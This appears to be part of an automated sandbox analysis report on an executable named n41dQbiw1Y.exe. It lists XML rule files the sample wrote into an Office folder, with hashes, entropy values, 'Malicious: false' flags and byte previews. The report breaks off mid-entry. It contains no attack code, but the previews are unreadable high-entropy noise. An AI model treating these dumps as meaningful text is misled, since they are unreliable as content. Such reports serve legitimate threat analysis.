Preview:	.<?.J...K8:....].>.....#K..yK@J..9;`..tXm...1..\u...=......2..w.ZL`.C.E.9.C..;b..9.MI..-..^...^..H.......t$.N55.B.c.w.D.m.2...tnM.[.z.A..`'FdA.?...,.N...A.........]k....F.r..G...n..s.v.m....i..A...q.....Q\|y7..O...V.f.ur....i.b..1I..Qi..-....)E .v....A.\|.ES.F.4..n$Y... cL...............d.O.X...Kk....Q..Y.P.....]...z.f\|..1&...o{q`=WnC.q...7v/...`X1....E..+....k.....p..x..5.f-..kb..a..B...n...W=5>.G&..J..x.[...T.u.....&..N..w..YPJ3."..8~...W..b.e...A.ORA.......4T76.T{....h.q....Z..x.e.B...N.f..G...{.<.q......+U.....Q...0.{.{7..._I'..uw.R.E..6.v.M.0.......x.U......z..4]E.'.).C.q..#.#...w.......G.x.[p...9..:....{.[E....4WyJ}......3..!z{..^...m..o..q.l........[((..(R.i.......>.[.<w.W7SU..l.y..m....;*.!..HC.u.y.,...0..+.q0...a.~.'"1IU..1.......CR...}/#.(.41...8...T.\|x..R...\|.< .X....!....>...e3..V.._..2.....%{...{e.:.&.\a% U..2.}...0@<!{s..B.mt.......B..Q....9.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.948779381676152
Encrypted:	false
SSDEEP:	96:FMdVvw83tUjsWH9Yq9mcAdLSkPKdRmn71NtZ2S0:F6Jw8aj9WXuUKCPSL
MD5:	D399B744E6721226BF511ED37CF6F530
SHA1:	6CCCBFA4D13F4CA21509FFE71E964187343A6828
SHA-256:	6D2741FF7BD7D1F778F4E705EF6A37DCCFA82752D385FA7616A543EE62F3CF0F
SHA-512:	526F43C73C044544AC6DE0C0E634D58B06E715E8AEB72161389CD4AAD7B129DBECB225E6E6DFCDAFFE2ECB744713BF61628FF923C9C1945701BDE7CF3DA7E7F1
Malicious:	false
Preview:	<?xml.G}.E...A...c.X#q-dj...-K0..od..L...)~.K.........-...II.'4.d..'R.p/E. .h.C...o...".i.`......'%..z......y..U..o...yTHn.....&.8#.R.V7+.........s.NCf.......T9.,...N..>..H...!d....O..Y...[..M=c2....,.?.k!%N8 ..y..b$..+9.'.....h[.A6.@C5>ZW.R...7+y(..30#;.,...G.....m0... .C.....'.y...8!.l..H.$......E....:...HKV.:Z..(..u.H)...Y.......-k/.R...-6].C.b.....10...n%..~...uc..\/\....L..O.q....t5.f..M".V................)....~0.B..../<\.7..o^..j..2vr..Y.tH\[g..c..(j.:..v:.f.p.AX..n......z..&Dql......J...1.=....._31.~.X......Lt.A.q...4.<'..8....m.z,.....g..hK..6...s...w..yO..!...0...........';.KkB....0+kZ...X.6....... .g".S...\|..;.....j......z<.&:.&........v..k.q>....N3#..4.>.zj..G....E\|.v.K..)....[...J...Ae.(.\....o..+..gL.........&u3k{.'..\|[.'....2..QHs.[...m^."...9R..Y...U..RD......1u........S\.\2&.7fD.....!./.JqLKfpJo..A.7n..'...o...Q.t.... I. wq.>....."......Y.+\..OL....F.c.,rp.....^.:..:.gUT.dy\j....X.......ks3O........Z.g....`.>I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.925827476761295
Encrypted:	false
SSDEEP:	48:zwkh4BewJufVgvrhscsVfRoyCWT+BdepmJBOPc7yV0MJAxysMpfeeHcGrXa6lxgy:zwkuRYEOcgfRoFdbBOPeMJay9UeHnTr5
MD5:	F675EE35925F2DEE13B243F89006C46E
SHA1:	A428184FB286C89707CBAD9D30C9D5464CA4E496
SHA-256:	23AD95F4D7357D92C2B138DCA83810A9C645F2B606B51E1F0AF1F04D1B7EAFEF
SHA-512:	1D5FB08559B5C98461A1E20AAD0E455BBDDA1774965C0FC4E8F63BD628EFC5B1468270A5540EEDDF153285A9B3666C7B65F13781DC71D4A581C2B78E10073FBB
Malicious:	false
Preview:	<?xml.......,,N:w.FW^.\7BR....R5..A......3...'......./..e....\|../..w.....bO.J.g.G...)7_.u.w..".-.....[.R....a..%...K...l.E....{=\|..7.F..N...s.d..g&....{..;'..M..)L..!..:<Z..p.7....B.I.O".Q2.c..[.P.eo.Z..69>.\...Y.W.......^%s..1.P4.;.l&U.....4..CY.[S......9X.......~P.H#1vJ.].pv...o`.ur3....N.L......?1.g5..^C&u..]$......;M.T.S.j...3..C......;.z.g}.n..~!.l. .V.%.d...Jk..=..P..2.XyE.QiS.g.o~.\.....\...+...N..C....eK..t<..-.l..>...s....4.=.... .A&..)a.p.t........x......L......>.8.NB.w.Z#........Z..r.Wj:%.h=..c/......,.\]X...a......K!..-J...y.t..O....E6.....V...5-........^...%.......$..{a...[...K6.7..[V<a.!.0.Xy...7....y^;a<N;...Vh.....Vd.)....."c=.......pT.(.. t..-..E;...=_.....T.ZE3..,g.}.Q.41fh!..l=&.DH..X...^.R\|......-a....j..^o...G;+.Q.0V.Edv....=..UQ%.A.^.a.u...!..}..L.l6.2...q..<...}V.."Y..)r.....W.v..Q....0i-.........@7....}!....6.8..V..Y.?....y..Waq.U?.x..@.L7U..>.q..ni..!q..-@ .$+.JZU@..r.%?...>c...e..]...%.#.y....X.W.P...<...w+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.952320815959704
Encrypted:	false
SSDEEP:	96:Rsza1N/FRW8F/+KwL/qv+W5IIXrxK6xKCV4B+T:Rsza1NdRW8pg/LW5Iwk0FV/
MD5:	35D526B7C8CCDC51D33DAC1678227097
SHA1:	736C8569A1143DEAF93026117F65D566409AF6A1
SHA-256:	BA024BEE6A6325669DB2FB7E66CB0A906B778E4F3235FBE178F701A0030F5852
SHA-512:	2568EA4B92782FC139DFD963421FDEBA5B0920B7C31314E37FB0DB21A4F04B321FA1ECA0AEDD77E37A40BC6CF71D71B5D5EC95672F4120CA8F7E76494FEACC61
Malicious:	false
Preview:	.<?...9!/.>.h.._^.A3L.X.{..O.4.....m.g..).ps..oFC.j....XX...z...Ss...>B........z..tc''.................R7......Ny.;M&J..f!?..H.T..HYU.uM.Ad.q0.^.n.#.:.fD....<..f..v.[...Z.2......iU......g."..,B....4^....;Lo...]....G_\O...M8....c....B:.\...G.,.je..$...K=.G..G\|...7....Y..=..%....+......4..dM.@C......).ef....1..".6....U..\.$.]J....r=.........\....E...d...qE...ue.].a..m..R...v....ehm...t<Hj#p5.C....o.'...4....<..+d...,....^.....^..../.R.l......5).3..5'.Qx.....B!..#.@u.4T.....C.PEH....C..x......P...%.?..R...S..>T......q.W(.b....E6M.....<d)vh....s......;y..+....w.3..T%...-....!..'I_..@.%....w...F......cv.@.3..`.pm.4.ao.Ml..VQ1....e..M.9.l..).,....-..&;....W.T6..:.Sc%.T[+8....)..%7]jy@.{I....@f...QIt.k7..I.7]......JO..B..i8u..KF=o.....7.&..c..t.{..{...l+1.O\.I.v.....P.......9..748f...h...k+r.......h.na........@....u.s."...."....sm...^..F.?..mD$...j..K).R.....,..........N...u...............V..-..3.X....JJnoi..E.f.....(......W...t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.943660171662402
Encrypted:	false
SSDEEP:	48:NANh7KFsaKRSRNeHDc90zz189I+IWtgxL53hYIRAbb136oA/0yDbrujbD:NANh7KFPKReeA9U89FCxtCI2bPyDn2X
MD5:	4B81CDC85D3F4DF72050EFCD786546AB
SHA1:	FA1195923C78867BC4D26E0E646BE4D8FD2E1F45
SHA-256:	4ADBEA5CD46D5921A48EEA92F9E356744626BAFBFA2980A5B08828CDFEF3B33A
SHA-512:	BD8D1F80D71A976AA79B8D4D068F3AE09E615EF98E4A16EF2E99078B8039D7FAC88C94DBCCBE86C8A485D420484933B17C3F02919F78E073FB9D74B7C40C2DD3
Malicious:	false
Preview:	.<?,j.".w,....r[.s....K..;.^P.T...&n....../4.un.v...m...HO#]........<......b:@^a5.9>.[.oW.KX.h..u.!/.dqH...3.B./-...l.`...!7....O.=.../D..}2.Ss..p=_......B..n....}F.+...c..r..4F]Zd.....3Y.C......".!...3..r...H0+....m...,......Y.....d=j..s...Ty........lW..H..S...b.q.........I.9!N{.).Z.d..I/c.Yy3.?..#...x.+.o..;..8.s...].....`..B.o.}.....]&CP..x....5..^J.BLs....z..[>m.X..UO.UJ.A.....k......;...C.:(QB^...@.uFc.PBi.t.....n.e.O&.h.d....I...X...".....(..~]E.V....Q. .wc...`KN......1..(..............}u....:..2..cC"[.g".....q..&H(......i4.@M.O...u.....VQ.:.n..Y{LAV.EsFq......eg.X.TA../.qR.O1.(d-.y.Q. i.....G)P.p.Ue.s:".D{#...6P.>..h.o..+_.j..?..>.x......... ...}o{U.........=7..O......U..W..N..b....^>z....{.&....v....a.I..0C.,....@.%.)...q..;^........0..I..2.J.<.....R...9...i?.NT8.^...H.S,^.Q..bU...*...!.Qu.;N...D...\..`}.Jv...F.....4.\|(.@b.x..:....k-.....D..D.+.-P.......%A.......k......b.4$\...c..UG?..w.G..QZ.....4.>;...5d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.887652215505914
Encrypted:	false
SSDEEP:	48:ChNz8gqFVW1QrBxBwY9dnDHW4zkGrfajAD:CIVVgQr2YrDH9oGrWc
MD5:	BDA9870AC595F8D54F98265642C2095A
SHA1:	6BB95E412863DCC6FD2822243BA067DAC51902FD
SHA-256:	638A9AEDFE8D36FE29EE4A5D917C55162A8C6FA93341D0D9800BA6F93FD966DF
SHA-512:	BE8AE341D36D760584B0DEB43B01F33648FFE25E30F30F1361476E7A57E60636990223ACF2066C4FC797D9BA60F6CD5222DCD1016197A06AC50277F35A595944
Malicious:	false
Preview:	.<?.......U. ....0.Lk5...jM..Q..:zM....~..bP.....,F:...t...#pl.?r....}HR..{.,.....(`..,.5t.......6.`.;..Gs+3....[..V.M..yU.........DJ.%.]...d9.t.Y.CWb\|.........&NI...v.]0.R....Lhz...I.b...l.]+......1....;...'.gR.A7.s.u..\..\|.l8...7L.hL.........B.b....&.5...{...dDM....1..^......[p...>oE....)..t...M...<pE..{.....&.[&Y.............[i..y...Ai.^.FI..S....1....v...k..a...>k..F..3....ZB...~W(..!..O.W=s].....95F5......y.&!.~..o..J.`2(.u..>M(:.b..^. ...(..dq~..w....].&.=[.....@D.."..N.......ae...;\._...m........_I.\|...u...]+..`.......JKG.U..ff....L..D.a:.....U]....}...EB.T.f.5.l.......$..../d..V...2....6W..P...\.q..J...n.E.`..., P'9.+:.../O....P.UQ...Q?3..w7..jR. Y...GPgjr..g..;.G....g..<Q..}B.z6..........G...Bn..]...*.x...%.....MN.h.B. ...d..b...Q.....w.B..t$...yf(......q....R.bNv.X....bW......8.].$tJ..~..!.jt..).(....X.u..4..c.M.\..<...l0M....h..0#.6.p.X.< \|....<q...4P._.....\|PV.W.7c.o.Q.C..#..Z..D..o>f.u.to}.........bq.q..2......^[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.894004939937412
Encrypted:	false
SSDEEP:	48:Xx/dv5Fa2FaMHloOW9J9eSwLHaefOnP+5y4K88ObhPn9D:XxVv5FvQuoOife5LaefOnmc4K88OdF
MD5:	3DFAA9E3C9129474EA245A3C32AD3535
SHA1:	088F65F674CEC27737A5E4B601A101291A452D45
SHA-256:	CE0A03CD34670FB74172AD890D6443C25C844B67530F2310A316F15CF71AEF72
SHA-512:	6836E528485F576EC600A208C1A534D01B27D7A498075F086F8E16353713F38DBCB95A6E21FC8A4328E3DF59459EBD70943956762145D99D0F2DD6E8B2AEE538
Malicious:	false
Preview:	.<?)......H.<.~....{.,.^0Kc3\..a.}lTN.2.,.B.~....z..~.<..Z.p..!.5..........,...<.....N.S.S.6`>...,q....u.j.Nt.t.Q..+{W......#......[..>@..../.{......K.<....&.....X.._...u;T.f...a8.Z.la8.....D;i+7k.S`..S........HnL..T.=+7.t>L)....._.tW.P...^...g.B.6.@..{m+R......>.....aZ5..;&....W.>.........=.<....h[..8?ts.LUeJ.X}N.`N"%'U..p.s4.\+8._Zf.H.1.-..kp...}.9.....8......7..$6../.m...m.M....h.\|.....y.z..3..f.....-bt.....(.....z..7:z.....-q.\..RCs.\|....r..........Y..c.c.>..p.`.....t..~..hd..c...h..Q.....L...5y?r.=....r.I........C.s.`..B..{....`.k.j/.../....^....[. .W.TSw.....Z...#.!.uj.......88...#_.W.C.......j..6...D.T9F.rB..d..!.:..p.nN.o..c.a%Mg_.7RI.o......c.... ":.W].E{.Z}...b.9N....GJE..nI.].P...V.;U.y....i%..dEe....Z...6.....V....^X.....~..0..M.&....b..`.._.;..tA.4...X..==....5.......`.....}.!Y..#....;Ll.@)..Mb..2z..[/7~a...$P<w....Z'x.L.)l..@..[.;...wm..0...).U. ..Ts...u..B..?8..........U2...=6...{.ur'.2.}....s.......r;s.?..2Z....lT.u9..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.885712092584107
Encrypted:	false
SSDEEP:	24:Ljcs18ORMRI+vp3k/wLv7DQq9KKoJ0QLHIIUhWPBiS2lNY+c3oObOIC987X1DpNS:LY6op3cwLjkqEJrLFUhWPB+V/iVkb9D
MD5:	4815008324F40BA6D4775F6B01BA04D3
SHA1:	7F235E75A36927838C81E24B5D6726CFB7EB6D0E
SHA-256:	6C5825DDF24EE52A4FDFE3CF6EA66C969C678B2078585D2CBCC4EF3F52D3383E
SHA-512:	489EC6D75BDDB37382A554327C3015215E90462521BD180472BE0EDB0FB654B09ECF0D9C3BBF55832E8805CE62137A500DD17E9DB9C98D7730E0FA31C5C17881
Malicious:	false
Preview:	.<?.........J.4Z....$...`.3....bk7;...g....'<2...t..md..%..z.....b../.:........;.J...^.]..."t.......gi..5..........,.[..9........B3B..?..2. @...7..L.#...m_....I.L.DU}...Xa4T..\|..x.7{V...M....Q....hu.../......J......e...>_..F.Z.f..../.a..7..l.L.........O...A`....C.'N.e.-]....n........Y.j.. ..uui.....@Q..G.w..I.......:............L.V...b. .].....C0UX.....6.N.h..G.A....t.....J3....\|...4 ....r+.I...C...M..B&B6z.:...... .@@V....<co.f4..FP.D........p'.....?j.`...V,.?...x.4=..!...`.....{....O...f....$.S3./.[.....S.Q.?...Bn...4..../u.#.-r.E:.....Q#..v..~.i....w.S.$oK..7.....w.%$..g<........-..v@Y.d.^K.a~....fr.[.:..-..w...2$.2N.D...........i.\@,eGT\....RbYF.w...=....Kn:<t`....1....7'.D.,.I..6<...l....&......7.5..!54.R..M.8.s...54....X..GJ.W....Rp.......D...!.\y.i..up..p.....Z....Ql.........G.) a...X.?.f-Y.t..Y<K<..:.R..........6..R...c..5....Cv.wC6..\|<.../....r....'....p...rR.<a....7.....\;{.....A.7..............6we. u.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.8868223927688605
Encrypted:	false
SSDEEP:	48:18+9MPhDVbusciP0kPY2/ZfPVIq6JATJD:K+9eVVbusciP0SYWZfPvcc
MD5:	8ED87F5F5CC377C1AC03B2005E29118F
SHA1:	AF9CEEA7840A34B151BCEA77A5B5486ED989CBBC
SHA-256:	D3BB4681AD1CACF75139805C83930D45A47D47F4B83C2E8B7ED54EEDA116CB49
SHA-512:	DF2F68E694368792B0EE221AEB24AF35E5A4F22583ADAA463F02012F2169859FA847CB22FB5CC8CCAA8A8396994F2CA74028A65BDF665F95A4F827E5524BF7BE
Malicious:	false
Preview:	.<?h.........;.....V...P..V.N..!?U.e4.&.+...-...f........-K.........#...........Go...QE..f.L..kR..1_#-..H.9.....T]-T(..>u................#..q.-....S.$.k[.+.....]\9..$A.v...&\.c.B3..G..o..P..4..u)...X.&....i...BYQ..}.U...z...oE.fZ...O...}....x...X...xL.:v....8.4..bF.r...K2A..`....F..Q5.rk. .c.;...IMu.F ........KV%...-..)4....l!...^..l.B.Bf}bYe.....i.....d..f.K..=..&.M@._....$:.....n.aQ...{U(+^..9..\..wQ...D.....k...X?...WH..dtRa.\$.....,...;G..5..oU...Y..^.......U...KR...^1Bfb... Y.E9.i.De.m2...V.....Sj.&....}..oa..J....v..Y._..!sy.f.#...4z{4.r.`a28.l1,.;o..}.,...AA5BDn..Sb-.v..b...?.^67[........0....+6jgo.$b.Nj...,.0.{}.{T`.2..\|....tn....Sx4..VZ.u..S.b4zD./..z.E....4Pg]$#.1a.x.%Q..P.4H....[.<.e.......'`...FJJ..f....C..y.0aQU..}.."..S....#.zM.Y..0-@.JVt3./...[.3OR....=.N..[X}r...........K.5........nB_.3.'.Hz..s ...?..."w:.u=..w.k.{.Fksp.ZR<...+..."..o...0..e..1......i.>..+...O.u..jg....I...J..v.{.q.:...8pX....)a.@..2y....R]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.871057326544781
Encrypted:	false
SSDEEP:	48:OagMDKSOCECiASuNNi7MDT8ETmAefNF0D:9fO1tARo7cHT5efNi
MD5:	3D81D71271048271F5973C9C8ED1933F
SHA1:	27A52FE0E4BABC3719855761770C073B37ED1F9C
SHA-256:	2802DABD4B673920DA07EF32D7423D53E0A9EE0C6E51E3994F425679F85D8727
SHA-512:	671ADC531C2D4B09F982359013F6BE1EB9BE28B984E16E1C142B5FC7138E3E17185053047F6C5D79170675DD17DC0E3061482B1AB0A4F4043A28727592FBB401
Malicious:	false
Preview:	.<?..L.f.5.B.......;Z.e.HT..B..C..lr...h.(.<@M...{.Oz.SK.e..Q..r.}..us.....T.....4...iy.....mO..)..V...K..F...J.4.V.w.......Xe?<.....o:..0dT-q>S.. ......(..6..Ml0../T/..r...J.8....Z....]/X......a..9.w.P^,QN........&.......DH.A$.$.:..F...u..B.e%.....(Wd.L#.#.\|..)41.l-.......qT..Qd..B..\LKB....q\.....c......."."..He..n....Kk`.\..IT...[...)..........t.^.H..b.g..=.L(>..%H..i...$>?.W.F)0...4[r......_`.uv.....m...m.V\.H..y...'n..#..".]Bu.89.I..>.g.).C.......F...L}.mb..\..i&.o........7.9...$4.L..-...~.MCry7.`E.B...Z..~.Y....{..K...5.WG....0.._..K.3U..-.A...V.(U.a.>>..h....{`..d...-"..o<MeF.;... ...6..9s'.Q..>..;]#....j.MD.O..g.kA..`..."...X.-.u...4.A@... ...&....F1I..^..b:...a.....8._o."...L.n./..Ni..3.F..O.;..%..r......_....nF....H0(g..k#.).;..C..L....c......._..p.x..9..Tt.t..8O.<@WK.\...`.....e...ib..._..w..%.....Q.LF.dc".<.~Z@.SW.y./H..........Z. M].D.w..}...b.......[QC.%..8........}\|..$],......O4.J3Z........L[....7#./&-.{1I...iY..._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.877208808500531
Encrypted:	false
SSDEEP:	48:fN+eZ4b0tONnpY8dJ/IHC/unADsdu7f4luN9D:fPZnIRdX/6u7f4oz
MD5:	565DE01D43F84871752C41F4036B556E
SHA1:	3DBA6E75FD4F8F2C348C269E996B00221850AB33
SHA-256:	9C2AF31ECDE2F09AA9295995B1C936709C2D5B22B5265FC65935305559293D2F
SHA-512:	D305E0037546C70A6B3F97580A17EFC423DBC0A3AFCF70BF5FBCABEA987EAF36ABD1529248F8622AFC37C0FF5A247CA22C341B902F5A8AAB9A7AA15CF4DB6282
Malicious:	false
Preview:	.<?..e.=....$.....].i....q...u5&....;....Je.g..'x...xd\|ph.6.....E..k..DV.....f....ZF.1..G?....+.6..X..LJ.?.-...tG.......t=.uo..n,pi.....s8K..F..t.......6.....5s.d..r1...^..7J...T\.w<I.B%{)Qn.... .j..V..y.+.......N....xr.-.O..^wMQ9k:.&..Q..N..H..T.I~.,uX.>.....7j...5N...^^D..s..M...%(-..k..uSHq.'%..#..%.=!......Q(6ll....<.C......f8.......q.c.].<]H.p.-...&.&Um.....b..+..k...0.BA.....ZR..K..../.k..t......+....X\....w.....XZ....-..G..^.....<QGO.^.....t.?......D.6m..V#^~.O(..E...V.Mg...I..5.....$.^.Kz5;.rk..]@.N..J..z7...,.Whq3k.M.G.?.9-;..(.B...'...pU...u.`.....K>...s~......k.o0..d~..o..R.E. .c...\....Wm.0..`......3..o{.U.I%......t.7....Z,.%...{..e.E.........5t...>>.S...\...8....50..]...8.=..\|...CO...;._a..HK\/q%[z[b...]..W..#t9.^..>....]'.......4D.H..j....O8d.\..]..C.........H.<;nY.t".iP..b;%Tv.*b,...w..je.0Mo.+.0^...)......r.-.A...],.s.;..NB'..'..MB...UYS.R~7.;`..?..4..;.^...%....s....I.M.ls....aa..2zW\|IlR.$....\|.XF.QV...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.875353785427501
Encrypted:	false
SSDEEP:	24:2OY8/DUZ/Vp2Fq+uatsauoArg2zIgYNgK4nS+UNhfSt++nXsqCgWbD:xlDU/3DMAtzInNgK+SlfS0+XEgED
MD5:	BBC76B31B0F75D8EAB09D5C8233C7752
SHA1:	B5EDBA40475C2B498D9D496DD4CEAAA76EDA1C47
SHA-256:	00B1C730C6855E8B6397DC9D8A0C122A632B4263978276B6737B848CF8F18048
SHA-512:	5C3E795B9CF00CAA484765904517DF638449EF7ABD89D43E1DD6D82CA220805AC3D5686BD0C09236FCB512811FEFF7F07E5D158FA732D1CAB7610C9500B9907F
Malicious:	false
Preview:	.<?.Gv........CsLUq.!.(........u.\|.....5n.M.\F4..'D...'...;s.9.\.m. .....].....K.1. 2.B...DjZ.WG..-..H....6..Fd.g...@...Y%..`....h:?1.&.{8...&.T....Fd)...28.@..>.K.i^..cH......_....+s..~\.9l[$....swd...3.8.u...!...3....e..............&......@O.g~..[.?.ajZI.o>/#e...h.+._...\..A..]....v..s..9[.3(gL.....my.m.Oq./.cs.h..jPN\..A0.V..>'...>Wa..p.~.H.. ..z..3.......S+...y..GM...`..,B?...Ak..k.U..q...>.m...).!\.Fs...y~.qo..l...n.8._/k.)..<B......!.E'>m.o.B}f.:=..k...L...04...q..^.......1.?v......u..&Um.U.AL..!..=...m.Q.*...x..+.m[.N.U..b...... Ht.^?.w...8.M.".^.V.p.{.j_.#...$nan....K.. ...-.n...`..K.X...x...).8.5z.]b..Z.HVy.FGF..x...tP=.F..\|0.....u..}.....}..+..lD.{.i.....t.Yv.2.."....l!y.Q.?.?{..5.JWG~..E.a`}.8.J.$_..s(y[2.sT...G...D[4^J^I..I....~8....r......ST..^.=.&.ac]..q../.....fx,.......VFC....S.h.A.tP/R....X0+..[U..L...r..\.H.....f...y...%6...s..<.?~^.. ......ap7....d.;..f....C.....g..so....'.d.k.r...gr.:.....b(..R[..[..~.d...k.JO$.a..s#.Ft_:#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.878304898052129
Encrypted:	false
SSDEEP:	48:ZH+p34d77+0+BSFRFZeoS6FHA6tlny3Lvnd9EgD:Zep34R7woaoB1VgLvd97
MD5:	2D60D70898AAD69F1FB42E7938829590
SHA1:	E4D153EF8C7323BEC3283627C526AF000931A994
SHA-256:	74CD276B1DF52C7F4BAB5E9D3BFE3CC170CA666AFB7A5708E604CE694F0D7136
SHA-512:	15C9A5D65918EFB29FEB6878D1043B2ED29D236F564A3F7224CC8E7D46CFF366AA95E0561A91822243FE2F0171AEED906E686689771D857A5308261543CF4E93
Malicious:	false
Preview:	.<?....[\|...x)...vN.F.....FV5 ..9.......q...^.I..mjX.._C..Q;:5.}.,6<.{u.w7.~...,...(.5SW.......-.DN5i41.....@.}j.@!..L.R..3q..G..q...Ez.;6%....h..;~.d.E..6.Fc..OM.T..]n....t........3b8......e..T.............Wg...]?.i..$(.0.iI...h.(z. ..!@.....E..&F.j9..1.......\....j.;....V..g.?'..y[S....G......./.tt~a\|9d:........(.A... H....!...p..`...U.u...NX.......o!.=..].....%X.^...i..;n.".....'k.V.=...kc.....\......R{.....N;....Vn....#...r6o.6..J{..\|jT..M..]..`... ./f"..+[../...n.x.....$A2.E..)....(...y....D./......%..aC..i..V.E..\.....C.]N{.....i9...{[Q/..^.OL..Q.....L#.C.. . D......2w.r[..u...7p...1.Qc.s.9.1T.O....B.uj.D...A.8D.&&.PE#NB..3..^...<*....I;....uI.7wJ.w.g.R8)...0R.B..S.`o1.6.#..6.}xZ......0...... ... ....Z..\|...P..%..l...1,.h.\|..;..b.u.nO.wcxoe...y...>K.3..,.eC..0l..a....4..z.'^.+a..n........T..'......uM.~-..k.....?.....'...4.jJ....r......x....h..&.S..=..1..-Lje.- v...B..z......d....7.t..&..f.....w..h.:@..X..!H.e.g. .p.9.J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.881490458968811
Encrypted:	false
SSDEEP:	24:LjRgHE8oB6EVb2NCNpIL4czIiRyJjYktVcUCwx9PX/UNMrrux1rvO0sRfQ3bD:LjSHETB6EVmL9EDJjPLCwx9Vm1CZfQLD
MD5:	21959917BA61C7EABE19BAD87DC0F06E
SHA1:	0FA56FF9696FF970A6645A29D3905C3F6BF49474
SHA-256:	E248691BF801417F67212581A73F1FA15E970234D19348706C6ABE06EBC0C9B3
SHA-512:	2E0FEC7CBB8AC53A987930A0568DCAA39D3C349ADE7ED2233D6E3C7BB585B26F901C75BE124BC94F3FFE51025A07BD7E16F8069E247B6D8F006493EC2D3CFA10
Malicious:	false
Preview:	.<?z.T}._...Z......3......\|'7.....l.........SmR0.ih'.{.@.p.+.......2.$P.eM....W{.....b.m\|.'....@?.,5^..........Q.j...2.l>...D.1z.XQDp\|R..E.sf.?'N.......SQ..e...r.5q.0.}x.f...T...r...q..~.=C.....L4+E$.(9.b.~..[m...$...O.8..=.8-<Jm..3C...F......6....gB~ .AJ....LY.`.q....."S....+.}eB.r[..._~.xh. .a..=3=W.X.r..........!.hY..q......._..hDS..Z......>.Q!....U..........Z.C.0,..Gw.o.....=.']......w4.k.g.....eKH.....(@..&..?h+f..q1@3s.I..%..@..A<.nN@.X.....TQ#p.E.b.DO%$:......Fsp.+W.\a.7......}u.....}.....{.A.Ga.N....f...@..f.i...q..".?...3?Sbm.+.P.W...M$J..:e.jY..,..'..F...hs.)..il...&.U.ck.....zm..t..d@Q:`Y#...#~;.)..j.. .L~.7....L...U5.....t...... .l(....YVxf.~k."....P.".s.MIis'.5.._.&X.L_f7.....Q.....{.M,De..D.DI.(o.%.....N...L#..%......'._V..V.if7>........ogA.e....7.........m.7yn1R./.R..... 6/..g.>k.(...P.......7.N.2.p.fl.$..e/...".....v.....52...z.."..G.P..3..#5;.C..>-..&.7..\.XrFCL...c....m..D..Q.'.[._...l...B..B...w(F..&3..{...z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.8787095044433775
Encrypted:	false
SSDEEP:	24:zyI8/gLJzabBRntMq+OY82uJy48dDo/dDQQ0q4iCTqI8HUnHvCoSH8mbD:rLLJubntMoY82uJH8dM/uQtLrUCo480D
MD5:	7F2BABC1DA0CA1D4E8CF1B8769C27D50
SHA1:	2DF72A4C0996F0DA6F025B8BA703D8AEF0CDA6B9
SHA-256:	AF465DF7FCCEE74A3C3C25FB5F0D4F25B5F40C54536A1EE5B994270892BBD937
SHA-512:	DCA7830D1BB05E01BA5E130F61B7CBE17718102143C36F4C5D73DB3D416DE4FA722DEAC66B8E1E1FB0611B16711384E75CFEFC8AF15194ACF43E878D3F55423A
Malicious:	false
